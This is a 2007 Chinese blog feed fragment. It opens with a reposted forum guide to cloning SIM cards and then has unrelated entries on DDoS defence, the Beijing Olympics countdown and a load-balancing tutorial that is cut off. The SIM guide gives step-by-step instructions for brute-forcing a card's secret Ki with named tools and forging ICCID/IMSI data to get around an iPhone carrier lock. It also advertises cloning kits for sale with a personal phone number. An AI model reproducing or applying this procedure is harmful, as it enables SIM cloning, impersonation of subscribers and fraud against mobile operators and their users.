	  <published>2007-08-07T09:22:11+08:00</published>
		  <summary type="html"><![CDATA[<DIV class=t_msgfont id=message51534>转贴源:http://www.weiphone.com/thread-3849-1-2.html</DIV>
<DIV class=t_msgfont>&nbsp;</DIV>
<DIV class=t_msgfont>&nbsp;</DIV>
<DIV class=t_msgfont>恭喜n000b成为了让iphone能打电话的第一个中国人！<A href="http://www.weiphone.com/thread-3837-1-1.html" target=_blank>http://www.weiphone.com/thread-3837-1-1.html</A>这是他的帖子！整个破解iphone的过程由他详细阐述了。我在这里为大家详细讲解sim卡的破解。<BR><BR><A href="http://www.weiphone.com/thread-4026-1-1.html" target=_blank>http://www.weiphone.com/thread-4026-1-1.html</A></DIV>
<DIV class=t_msgfont>&nbsp;</DIV>
<DIV class=t_msgfont>一先讲解sim的基本知识<BR><B>SIM卡名词解释</B> <BR><BR>　　SIM卡（Subscriber Identity Module），即用户识别卡，它是一张符合GSM规范的“智慧卡”，SIM卡有大小之分，大卡尺寸54mmx84mm（约为名片大小），小卡尺寸为25mmx15mm（比普通邮票还小）。其实“大卡”上面真正起作用的是它上面的那张“小卡”，“小卡”上起作用的部分只有小指甲盖那么大。目前国内流行样式是“小卡”，小卡也可以换成“大卡”（有个卡托即可）。“大卡”和“小卡”分别适用于不同类型的GSM移动电话，早期的机型如摩托罗拉GC87C、308C等手机用的是“大卡”，现在新出的机型基本上都是用“小卡”。SIM卡可以插入任何一部符合GSM规范的移动电话中，“实现电话号码随卡不随机的功能”，而通话费则自动计入持卡用户的帐单上，与手机无关。<BR><B>SIM卡知识进阶</B> <BR><BR>　　（一）SIM卡内保存的数据可以归纳为以下四种类型： <BR>　　（1）由SIM卡生产厂商存入的系统原始数据。 <BR>　　（2）由GSM网络运营部门或者其他经营部门在将卡发放给用户时注入的网络参数和用户数据。包括： <BR>　　　　*鉴权和加密信息Ki（Kc算法输入参数之一：密匙号）； <BR>　　　　*国际移动用户号（IMSI）； <BR>　　　　*A3：IMSI认证算法； <BR>　　　　*A5：加密密匙生成算法； <BR>　　　　*A8：密匙（Kc）生成前，用户密匙（Kc）生成算法； <BR>　　（3）由用户自己存入的数据。比如，短消息、固定拨号，缩位拨号，性能参数，话费记数等。 <BR>　　（4）用户在用卡过程中自动存入和更新的网络接续和用户信息类数据。包括最近一次位置登记时的手机所在位置区识别号（LAI），设置的周期性位置更新间隔时间，临时移动用户号（TMSI）等。 <BR>　　这些数据都存放在各自的目录项内，第一类数据放在根目录，当电源开启后首先进入根目录，再根据指令进入相关的子目录，每种目录极其内部的数据域均有各自的识别码保护，只有经过核对判别以后才能对数据域中的数据进行查询，读出和更新。上面第一类数据通常属永久性的数据，由SIM卡生产厂商注入以后无法更改，第二类数据只有网络运行部门的专门机构才允许查阅和更新，再第三、四类数据中的大部分允许用户利用任何手机对其进行读/写操作。 <BR><BR>　　（二）SIM卡结构 <BR>　　（1）SIM卡能够储存多少电话号码取决于卡的EEPROM的容量（有2K、3K、8K容量），若有8KB的存储容量，可供储存以下信息： <BR>　　　　*100组电话号码及其对应的性名文字； <BR>　　　　*15组短信息（Short Message）； <BR>　　　　*25组以上最近拨出的号码； <BR>　　　　*4位SIM卡密码（PIN）。 <BR>　　（2）SIM卡是带有微处理器的芯片卡，内有5个模块，每个模块对应一个功能：CPU（8位）、程序存储器ROM（6-16kbit）、工作存储器RAM（128-256kbit）、数据存储器EEPROM（2-8kbit）和串行通信单元，这5个模块集成在一块集成电路中。SIM卡在与手机连接时，最少需要5个连接线： <BR>　　　　*电源（Vcc） <BR>　　　　*时钟（CLK） <BR>　　　　*数据I/Q口（Data） <BR>　　　　*复位（RST） <BR>　　　　*接地端（GND） <BR>（4）SIM卡背面上20位数字iccd所代表的含义如下： <BR>　　　　*前6位（898600）：是中国的代号； <BR>　　　　*第7位：业务接入号，对应于135、136、137、138、139中的5、6、8、9； <BR>　　　　*第8位：SIM卡的功能位：一般为0，现在的预付费SIM卡为I； <BR>　　　　*第9、10位：各省的编码； <BR>　　　　*11、12位：年号； <BR>　　　　*13位：供应商代码； <BR>　　　　*14-19位：用户识别码； <BR>　　　　*20位：校验位。 <BR><BR><BR></DIV>
<DIV class=t_msgfont>
<TABLE class=t_table cellSpacing=0 width="98%" align=center>
<TBODY>
<TR>
<TD colSpan=3><B>GSM网络登录步骤</B></TD></TR>
<TR>
<TD width="3%"></TD>
<TD>1. 手机开机后会从SIM卡中读取IMSI(15个数字)和TMSI(4字节)；<BR>2. 手机登录网络时，将会IMSI或TMSI发给网络；<BR>3. 网络判断到该IMSI或TMSI有效，要生成一个128bit的<B>RAND</B>，然后发给手机；<BR>4. 手机收到RAND后，将RAND发给SIM卡；<BR>5. SIM以里面的KI为密钥对RAND进行<B>A3A8运算</B>，生成(SRES+Kc)；<BR>6. 手机读取(<B>SRES+Kc</B>)(32bit+64bit)，并将SRES发给网络；<BR>7. 网络自己进行一次A3A8运算，如果结果与手机返回的SRES相同，则认为该用户合法。<BR><BR><FONT color=red>这个方法破解iphone的原理，主要就是利用了sim的网络登录原理为突破口，iphone是利用要at&t卡的imsi在中国移动的网络里取得进网许可，此时中国移动认为这个卡是at&t国际漫游过来的，就分配给他一个tmsi（临时的imsi），此时tmsi与ki配合登录个人帐户系统的时候中国移动发现他是国内的用户，但是忘记了之前进网是以漫游身份进来的（系统没有料到我们会搞这样的卡），然后按照正常帐户处理了。</FONT><BR><FONT color=#ff0000>&nbsp; &nbsp;为什么不能在待机状态下不能接听电话，而在通话中可以呢？</FONT><BR><FONT color=#ff0000>&nbsp; &nbsp;原因也就是出在了，手机在接收系统呼叫的时候，移动系统要求imsi验证此时知道你是非网内用户，而拒绝服务。</FONT><BR><FONT color=#ff0000>在通话中可以接收呼叫，就是此时系统不进行imsi验证了，直接认为你是合法用户！</FONT><BR><FONT color=#ff0000></FONT><BR><FONT size=4><FONT color=green>我自己的想法就是：</FONT></FONT><BR><FONT size=4><FONT color=green>在超级sim卡（复制卡）里，重新编写程序，使之具有双imsi，at&t的用于蒙蔽iphone的验证机制，另一个你自己的合法的imsi用于在接收呼叫的时候，返回给移动的系统验证！</FONT></FONT><BR><FONT size=4><FONT color=green>&nbsp; &nbsp;不过程序肯定不简单，不是我所能及的！一个思路而已</FONT></FONT><BR><FONT size=4><FONT color=#008000></FONT></FONT><BR><FONT size=4><FONT color=#008000>下图是手机的登录网络的过程图！</FONT></FONT><BR><BR><FONT color=#445059><BR><IMG onmousewheel="return imgzoom(this);" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.weiphone.com/attachments/month_0708/20070804_2779de223b7e58ca1d7eOis6o3XQt7Jg.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0><BR><BR><BR></FONT></TD></TR></TBODY></TABLE></DIV>
<DIV class=t_msgfont><BR><B>前期准备工作</B><BR>&nbsp; &nbsp;你必须拥有一套SIM卡复制设备，包括usb读卡器一个，可用于iphone的空卡一张，还有相关的软件，不是很落后的电脑一台<BR>&nbsp; &nbsp; SIM卡复制设备购买<A href="http://www.weiphone.com/thread-3848-1-1.html" target=_blank>http://www.weiphone.com/thread-3848-1-1.html</A>交易区里有啦。<BR><BR>开始工作：<BR><BR>&nbsp; &nbsp; 第一步，确定你自己的sim卡是v1版的卡还是v0版的卡（目前国内只有这两种卡，3g的at&t卡是v2版本不可破解）规律如下<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;中国移动的卡：看你的SIM卡背面的iccid码，第三行的前面两位是sim卡的制造年份。如果是00、01、02、03、04，那么你这个卡是v1卡，破解非常容易。<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;如果是05、06、07，那么可以肯定是v0卡，同样可以破解！<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;中国联通：界限比较模糊，它的年份区别是iccid的第二行第2、3位数字表示。00、01、02、03、04都是v1卡，05上半年是v1卡，下半年是v0的，之后都是v0.但是根据地区的不同，依然有05、06年的卡是v1的卡。<BR><BR>&nbsp; &nbsp;第二步：安装读卡器的驱动程序，一路“下一步”就可以了（光盘有）<BR><BR>&nbsp; &nbsp;第三步：安装simmax7.0。也是一路“下一步”直到完成。（光盘有）<BR><BR>&nbsp; &nbsp;第四步：插入读卡器，电脑提示找到新硬件，一路“下一步”自动安装，知道提示安装成功。<BR><BR><BR><FONT color=red><B>&nbsp;&nbsp;如果你的卡是v1卡（根据判断，如果不能判断做v0卡处理）&nbsp;&nbsp;</B></FONT><BR>&nbsp; &nbsp;第五步：把你的SIM卡插进读卡器，点击桌面“开始”--“所有程序”--simmax--simscaner7.0，打开应用程序。<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 出现软件界面后在菜单栏点击“扫描备份”选择“扫描备份” 出现提示不用管它“确定”&nbsp;&nbsp;程序开始链接读卡器。链接成功后出现解码界面，直接点击"扫描”<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 1小时左右，提示破解成功，并得将到一个dat文件提示你保存，需要输入密码，可以为空，直接回车存放路径自己选择！<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 此时你不要着急，不能用这个这个dat文件直接写入空SIM卡，如果直接写入后插入iphone是不能通过验证的。<BR><BR><B>&nbsp;&nbsp;正确的做法是</B>：使用“转换器”将这个dat文件打开（也可以用其他软件比如simeasy），你会看见这个dat文件包含有iccid，imsi，ki，smsp这几样信息。<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 我们要做的就是更改dat文件的iccid和imsi，生成新的dat文件，用于蒙骗iphone的验证机制。<BR><BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<FONT color=seagreen><U> iccid和imsi可以直接由simscaner查看，无需破解，而你自己的sim卡ki是要破解得到。<BR></U></FONT><BR>比较详细的做法由n000b的帖子阐述<BR><B>准备必要的数据<BR><BR></B>需要记录下以下数据（ICCID和IMSI读卡器软件都能从卡里直接读出，Ki在上面已经解出，使用的软件是simscner7.0，套餐有的）：<BR>1、iPhone的随机AT&T卡：IMSI，ICCID，以下分别把他们称为：<FONT color=blue>IMSI-a</FONT>和<FONT color=blue>ICCID-a</FONT><BR>2、移动SIM卡：IMSI，ICCID，Ki，以下分别把他们成为：<FONT color=red>IMSI-b</FONT>，<FONT color=red>ICCID-b</FONT>和<FONT color=red>Ki-b</FONT><BR><FONT color=#ff0000></FONT>3、短信中心号码<BR><BR><B>生成写卡文件</B><BR><BR>用套餐里面的一个叫做“转换器”的软件可以生成写卡文件，我们需要2个文件（因为要写2次）。<BR>第一次：填入: <FONT color=blue>ICCID-a</FONT>，<FONT color=red>IMSI-b</FONT>，<FONT color=red>Ki-b</FONT>，短信中心号码，然后存盘生成一个写卡文件，下面称作文件1；<BR>第二次：填入：<FONT color=blue>ICCID-a</FONT>，<FONT color=blue>IMSI-a</FONT>，<FONT color=red>Ki-b</FONT>，短信中心号码，然后存盘生成另一个写卡文件，下面称作文件2；<BR><BR>注意：（由于iphone的验证机制是关系到iccid，所以iccid的填法很重要，普通的复制是需要填写iccid的）<BR>1、我写好后放到普通手机里看，显示的短信中心号码是20个0，而用读卡器读出的却显示正确，不知道哪里有错，由于这个短信中心号不对，所以我无法发出短信。<BR><FONT color=#ff0000></FONT><BR>2、“转换器”写文件时会把ICCID号码每2位颠倒，例如123456写入文件会变成214365，读出时又颠倒回来。而用SimScanner读取“转换器”生成的文件并写入的时候不会自行颠倒，所以写入的ICCID是错的。我<FONT color=red>填写时把ICCID每2位颠倒后再填写</FONT>的，再用SimScanner写入时刚好正常。<BR><BR><B>写卡<BR><BR></B>用套餐里面的SimScanner写卡，要写2次。<BR>第一次：先用<FONT color=blue><B>文件1</B></FONT>写卡，写完后把卡放到一个普通的手机里面，开机后等待知道网络注册完成（出现移动名称和有信号）；<BR>第二次：把上面试用过的卡放回写卡器中，这一次用<FONT color=red><B>文件2</B></FONT>写卡，覆盖掉第一次记录，然后把卡直接放进iPhone（<FONT color=red>这一次不要放进普通手机里，我实际实验的结果就是如果第二次的卡先放进普通手机，再放进iPhone就不认了</FONT>）。<BR><BR>注意：<BR>虽然两次写卡看起来有点奇怪，既然第二次把第一次覆盖了，似乎没必要作第一次的写，但是我实验的结果是，如果不在第一次把卡放进普通手机进行网络登录一次，第二次写出的卡就不行。<BR><BR><B>激活<BR>如果你的看已经激活，那么就可以直接用啦。<BR></B>现在先把做好的卡放进iPhone。虽然iPhone激活有很多种方法，但是用这个特殊卡就必须使用iASign的方法来激活。具体的激活方法可以到下面网站去看：<BR><BR>&nbsp; &nbsp;用Intel Mac: <A href="http://www.hacktheiphone.com/iphone_using_cingular_for_intel_mac.html" target=_blank>iPhone Using Cingular (Intel Mac Version)</A><BR><BR>&nbsp; &nbsp;用Windows: <A href="http://www.weiphone.com/viewthread.php?tid=3688&highlight=%E3%80%90%E6%96%B0%E6%95%99%E7%A8%8B%E3%80%91%E7%A0%B4%E8%A7%A3Cigular%E5%AE%8C%E5%85%A8%E7%89%88-windows" target=_blank>weiphone外翻组【新教程】破解Cigular完全版-windows</A><BR>&nbsp; &nbsp;或者原版：<A href="http://iphone_using_cingular_for_windows.html/" target=_blank>iPhone Using Cingular (Windows Version)</A> <BR><BR>注意：<BR>1、<FONT color=red>在生成证书文件的时候要用自己制作的那张卡的信息（或者就用AT&T的卡信息），不能用原来的移动卡信息</FONT>，一旦成功激活，屏幕上就会出现信号指示和China Mobile字样了。<BR>2、如果还是“No Service”，先把iPhone关掉（长按Power键直到出现红色的关机按钮），再重新开机就应该可以了。<BR><BR><BR><B><FONT color=red>如果你手上的是v0卡</FONT></B><BR><B><FONT color=red>最为关键的是v0卡的破解！</FONT></B><BR><B><FONT color=#ff0000></FONT></B><BR><B><FONT color=black>第一步：安装读卡器驱动，过程比较简单，光盘有带插图的说明。</FONT></B><BR><B><FONT color=#000000></FONT></B><BR><B><FONT color=#000000>第二步：插如读卡器（你的SI</FONT></B><B><FONT color=#000000>M卡也插入读卡器），电脑提示新硬件，选择自动安装知道完成，如果已经安装过读卡器了，那么就会听见“崩崩”声音。说明电脑</FONT></B><BR><B><FONT color=#000000>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 已经识别读卡器了。</FONT></B><BR><B><FONT color=#000000></FONT></B><BR><B><FONT color=#000000>第三步：进入“设备管理器” 查看读卡器的端口&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;A-men开头的那个设备就是读卡器，括号里的com几就是端口了。</FONT></B><BR><B><FONT color=#000000></FONT></B><BR><B><FONT color=#000000>第四步：打开v2卡 软件包里的“破解卡”文件夹，里边是一个放大镜图标的程序，它就是破解v2卡的一个主力工具kisearch。打开这个软件。在com框选择好刚才在设备管理器看到的端口号 com x&nbsp;&nbsp;频率设置成19200（高速），然后点击“连接”&nbsp; &nbsp;上方的大框就会显示ATR=一串数字，那就表示“连接”成功，然后按“读卡”软件就开始破解sim卡了，“次数”那个框格在数数。这需要等待，你准备一个晚上吧。快的数40000次就可以了，慢的要100万。</FONT></B><BR><B><FONT color=#000000>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; </FONT></B><BR><B><FONT color=#000000></FONT></B><BR><B><FONT color=#000000>注意：如果你的按链接后ATR返回值=00，那就端口不对，或者是频率不对。请检查你读卡器边上的小开关，靠近接口是高速19200.远离接口那端是9600</FONT></B><B><FONT color=#000000>（低速），有的sim卡是不支持高速破解的，那么就要跳到低速破解！</FONT></B><BR><B><FONT color=#000000></FONT></B><BR><B><FONT color=red>第五步：耐心等待之后，kisearch计算成功！小方框里会提示你，恭喜你，你的卡可破解，第x组ki：xxxx&nbsp;&nbsp;（到了这里，你就注定能成功了），如果没有等它解卡成功夜不要气馁，还有其他方法可以破解的。那些是进级的方法就不在这里说先了。</FONT></B><BR><B><FONT color=#000000></FONT></B><BR><B><FONT color=#000000>第六步：关闭第五步的软件，打开v2卡软件包里的woronscan1.09.exe。同样先要设置端口，在菜单栏点击”选项“选择“phonix卡”，然后点“配置”选择正确的com和速率 然后点“确定”。</FONT></B><BR><B><FONT color=#000000></FONT></B><BR><B><FONT color=#000000></FONT></B><BR><B><FONT color=#000000>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 然后点“ki”图标，弹出一个窗口。会看见有个圆点默认在第1列的位置。你需要把点&nbsp;&nbsp;点在刚才提示的&nbsp;&nbsp;第x组</FONT></B><BR><B>的x+1列！<FONT color=red>举例，你得到第2组ki 1245，那么你就将圆点点在第3列的位置，把下方的“勾”也点上，然后把，12填在“勾”下方的框格，再把45填在再下方的框格。然后点击“开始”</FONT></B><BR><B>软件开始数数，数512次，就有结果，它会提示“可能的配对“</B><BR><B>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;如果能够得到可能的配对，就表示当前列的ki是正确的，得到的可能配对用于“下一个列”&nbsp; &nbsp;下一个列是第几列呢？这个顺序决定于，刚才第一个软件提示的：第x组ki”的x。我们的测试顺序以“列”为标准。</B><BR><B><FONT color=red>测试顺序非常重要，要严格遵循</FONT></B><BR><B><FONT color=#000000>提供第0对KI时,就填在1列 调试顺序为: 5，3，7，2，6，4，8</FONT></B><BR><B><FONT color=#000000>提供第1对KI时,就填在2列 调试顺序为: 6，4，8，1，5，3，7</FONT></B><BR><B><FONT color=#000000>提供第2对KI时,就填在3列 调试顺序为: 7，1，5，2，6，4，8</FONT></B><BR><B><FONT color=#000000>提供第3对KI时,就填在4列 调试顺序为: 8，2，6，1，5，3，7</FONT></B><BR><B><FONT color=#000000>提供第4对KI时,就填在5列 调试顺序为: 1，3，7，2，6，4，8 </FONT></B><BR><B><FONT color=#000000>提供第5对KI时,就填在6列 调试顺序为: 2，4，8，1，5，3，7</FONT></B><BR><B><FONT color=#000000>提供第6对KI时,就填在7列 调试顺序为: 3，1，5，2，6，4，8</FONT></B><BR><B><FONT color=#000000>提供第7对KI时,就填在8列 调试顺序为: 4，2，6，1，5，3，7</FONT></B><BR><BR><B><FONT color=green>圆点与勾的规则：圆点是是测试某一列就点在某一列，勾 就是测试过的和测试中的（圆点所在列）都要打上。</FONT></B><BR><B><FONT color=green></FONT></B><BR><B><FONT color=#000000><FONT color=red>注意</FONT>：有的朋友有可能会碰到最后一组ki出不来，原因是：前面的某一列存在两组ki值能够得到可能值，你只是测试到了一组有可能值，就往下一列测试了，这就是原因。建议测试过程中用一张纸记录，并且测试完得到的所有“可能配对”。</FONT></B><BR><B><FONT color=#000000></FONT></B><BR>只要你有第一个ki，那么就一定能成功的。<BR>成功后，会提示ki是什么（一串很长的字串）还有imsi也会提示出来<BR>复制出来，粘贴在写字板里 去掉中间的空格。<BR><BR><FONT color=red>然后偶就开始之作dat文件。制作dat文件，前面以前阐述了！</FONT><BR><FONT color=#ff0000></FONT><BR><FONT color=#ff0000>大家看起来可能有点吃力，但是光盘的教程是有截图的，会容易很多。</FONT><BR><BR><BR>祝大家iphone成功。顺变广告一下，我有sim卡复制套餐出售，并且提供技术支持！<BR><A href="http://auction1.taobao.com/auction/50008090-1502-50003680/item_detail-0db1-f9b799a187c7b252f46edf7f8ce4de79.jhtml" target=_blank>http://auction1.taobao.com/auction/50008090-1502-50003680/item_detail-0db1-f9b799a187c7b252f46edf7f8ce4de79.jhtml</A>（淘宝）<BR>qq16245472&nbsp; &nbsp; 手机13527696234<BR><BR>[<I> 本帖最后由 huczi 于 2007-8-6 17:12 编辑 </I>]</DIV><BR style="CLEAR: both"><FONT style="FONT: 12px Tahoma, Verdana; COLOR: #445059"><BR><BR>
<DIV class=msgbody>
<DIV class=msgheader>
<DIV class=right><A href="http://www.weiphone.com/member.php?action=credits&view=getattach" target=_blank><IMG alt=查看积分策略说明 src="http://www.weiphone.com/images/Weiphone_iPhoneBackStyle/credits_attachlist.gif" border=0></A></DIV>附件</DIV>
<DIV class=msgborder style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; BORDER-BOTTOM: 0px">
<DIV class=t_attachlist>
<DIV class="right smalltxt">2007-8-4 21:37<BR></DIV><IMG class=absmiddle alt="" src="http://www.weiphone.com/images/attachicons/image.gif" border=0> <A class=bold href="http://www.weiphone.com/attachment.php?aid=2383&nothumb=yes" target=_blank>gsm_login.jpg</A> <SPAN class=smalltxt>(24.34 KB)</SPAN> <BR>&nbsp; <BR><IMG onmousewheel="return imgzoom(this)" onmouseover="attachimg(this, 'mouseover')" onclick="attachimg(this, 'click', 'attachments/month_0708/20070804_2779de223b7e58ca1d7eOis6o3XQt7Jg.jpg')" alt="" src="http://www.weiphone.com/attachments/month_0708/20070804_2779de223b7e58ca1d7eOis6o3XQt7Jg.jpg" border=0> </DIV></DIV></DIV><BR></FONT>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=427" /> 
	  <id>http://www.openx.cn/default.asp?id=427</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Web网站服务器DDOS安全解决方案]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-08-03T15:40:16+08:00</updated>
	  <published>2007-08-03T15:40:16+08:00</published>
		  <summary type="html"><![CDATA[<DIV><FONT color=#ff00ff>一、现象分析</FONT></DIV>
<DIV>网站服务器运营商的互联网接入形式主要有两种： 一种是主机托管，另外一种是自拉网络专线，但基于接入费用的考虑，绝大多数采用前者，但也有不少网吧主会采用后者。无论是前者还是后者接入，在正常情况下，用户都可以正常访问网站，浏览网页、在线听音乐看电影或者是参与论坛发帖，假定可排除线路和硬件故障的情况下，突然发现网页打不开或打开连接服务器困难，正在游戏的用户掉线等现象，则说明很有可能是遭受了DDOS攻击，具体判定方法如下：</DIV>
<DIV>1、&nbsp; 服务器端分析方法</DIV>
<DIV>（1）SYNFlood攻击判定</DIV>
<DIV>A：网上邻居-&gt;右键选“属性”-&gt;双击网卡，每秒收到的包数量大于500。</DIV>
<DIV>B：开始-&gt;程序-&gt;附件-&gt;命令提示符-&gt;C:\&gt;netstat –na，观察到大量的SYN_RECEIVED的连接状态。</DIV>
<DIV>C：网线插上后，服务器立即凝固无法操作，拔出后有时可以恢复，有时候需要重新启动机器才可恢复。</DIV>
<DIV>（2）TCP多连接攻击判定</DIV>
<DIV>开始-&gt;程序-&gt;附件-&gt;命令提示符-&gt;C:\&gt;netstat –na，若观察到多个IP地址与本机的服务端口建立了几十个以上的ESTABLISHED状态的连接。</DIV>
<DIV>2、客户端现象</DIV>
<DIV>（1）用户无法访问网站页面或打开过程非常缓慢。</DIV>
<DIV>（2）正在访问的用户突然变得非常缓慢甚至中断。</DIV>
<DIV>&nbsp;<FONT color=#ff00ff>二、解决方案</FONT></DIV>
<DIV>多年的统计数据表明，想彻底解决DDOS是几乎不可能的，就好比治疗感冒一样，我们可以治疗，也可以预防，但却无法根治，但我们若采取积极有效的防御方法，则可在很大程度上降低或减缓生病的机率，防治DDOS攻击也是如此，拥有充足的带宽和配置足够高的主机硬件是必需的，那么什么算是充足的带宽呢？一般来说至少应该是100M共享，那么什么算配置足够高的主机硬件呢？一般来说至少应该是P4 2.4G的CPU、512M内存和Intel等品牌网卡。拥有此配置的带宽和主机理论上可应对每秒20万以上的SYN攻击，但这需要借助于专业配置和专用软件才可实现，默认情况下，绝大多数服务器难以抵御每秒1000个以上SYN的攻击。</DIV>
<DIV>&nbsp;1、免费DDOS解决方案</DIV>
<DIV>通过优化Windows 2000或2003系统的注册表，可有效对抗每秒约1万个左右的SYN攻击，方法是把以下文本内容存盘为antiddos.reg然后导入注册表并重新启动即可，当然也可从地址 <A href="http://www.bingdun.com/tools/antiddos.reg" target=_blank><FONT color=#000000>http://www.bingdun.com/tools/antiddos.reg</FONT></A> 直接下载antiddos.reg文件。</DIV>
<DIV>Windows Registry Editor Version 5.00</DIV>
<DIV>&nbsp;</DIV>
<DIV>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]</DIV>
<DIV>"SynAttackProtect"=dword:00000002</DIV>
<DIV>"TcpMaxHalfOpen"=dword:000001f4</DIV>
<DIV>"TcpMaxHalfOpenRetried"=dword:00000190</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp; 此方案的优点是，采用系统自身的能力来解决问题，而无需任何花费，缺点是只能抵御每秒少于10000的SYN攻击，并且无法解决TCP多连接攻击。</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=426" /> 
	  <id>http://www.openx.cn/default.asp?id=426</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[当好主人办好奥运 迎奥运倒计时一周年动员誓师大会举行]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-07-25T21:43:42+08:00</updated>
	  <published>2007-07-25T21:43:42+08:00</published>
		  <summary type="html"><![CDATA[<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在离2008年奥运会开幕还有380天的时间，举办奥运会是中华民族历史上具有重要意义的大事，标志着我们国家综合实力的增强，标志着我们国家国际地位的提高，标志着改革开放后中国人民正在以朝气蓬勃、昂扬向上的精神风貌昂首阔步走向世界。百年奥运梦想，百年的期待向往，终于要在我们这一代人的手中实现了，我们深感责任重大、使命光荣。</P>
<P>&nbsp;</P>
<P>为记念这一历史时刻特在日志上放了一个 北京2008奥运倒计时牌.</P>
<P>&nbsp;</P>
<P>原文:http://www.beijing2008.cn/bocog/bocognews/headlines/n214114723.shtml</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=425" /> 
	  <id>http://www.openx.cn/default.asp?id=425</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[WEB网络负载平衡方案(转)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-07-20T21:52:37+08:00</updated>
	  <published>2007-07-20T21:52:37+08:00</published>
		  <summary type="html"><![CDATA[一、网络负载平衡的优点<BR>　　1.网络负载平衡允许你将传入的请求传播到最多达32台的服务器上，即可以使用最多32台服务器共同分担对外的网络请求服务。网络负载平衡技术保证即使是在负载很重的情况下它们也能作出快速响应。<BR>　　2.网络负载平衡对外只须提供一个IP地址（或域名）。<BR>　　3.如果网络负载平衡中的一台或几台服务器不可用时，服务不会中断。网络负载平衡自动检测到服务器不可用时，能够迅速在剩余的服务器中重新指派客户机通讯。此保护措施能够帮助你为关键的业务程序提供不中断的服务。可以根据网络访问量的增多来增加网络负载平衡服务器的数量。<BR>　　4.网络负载平衡可在普通的计算机上实现。<BR>　　在Windows Server 2003中，网络负载平衡的应用程序包括Internet信息服务(IIS)、ISA　Server 2000防火墙与代理服务器、VPN虚拟专用网、终端服务器、Windows Media Services（Windows视频点播、视频广播）等服务。同时，网络负载平衡有助于改善你的服务器性能和可伸缩性，以满足不断增长的基于Internet客户端的需求。<BR>　　网络负载平衡可以让客户端用一个逻辑Internet名称和虚拟IP地址（又称群集IP地址）访问群集，同时保留每台计算机各自的名称。<BR>　　下面，我们将在两台安装Windows Server 2003的普通计算机上，介绍网络负载平衡的实现及应用。<BR>二、网络负载平衡的实现<BR>　　这两台计算机中，一台计算机名称为w2003-1，IP地址为202.206.197.190，另一台名为w2003-2，IP地址为202.206.197.191。<BR>　　规划网络负载平衡群集使用的IP地址为202.206.197.195，规划网络负载平衡群集完整的计算机名称为cluster.heinfo.edu.cn。你需要在heinfo.edu.cn域中注册此主机名称并将地址设置为202.206.197.195。如果你没有DNS，可以在需要访问网络负载平衡的客户机（包括网络负载平衡主机）上编辑%systemroot%\system32\drivers\etc目录下的hosts文件，添加一条信息“202.206.197.195&nbsp;&nbsp;&nbsp; cluster.heinfo.edu.cn”，即可解决DNS域名解析的问题。<BR>　　当正式应用时，客户机只需要使用cluster.heinfo.edu.cn或IP地址202.206.197.195来访问服务器，网络服务平衡会根据每台服务器的负载情况自动选择202.206.197.190或者202.206.197.191对外提供服务。<BR>　　网络负载平衡的实现过程如下：<BR>　　在实现网络负载平衡的每一台计算机上，只能安装TCP/IP协议，不要安装任何其他的协议（如IPX协议或者NetBEUI协议），在网络属性中，“网络负载平衡”也不能被选择，这可以从“网络连接属性”中查看。<BR>　　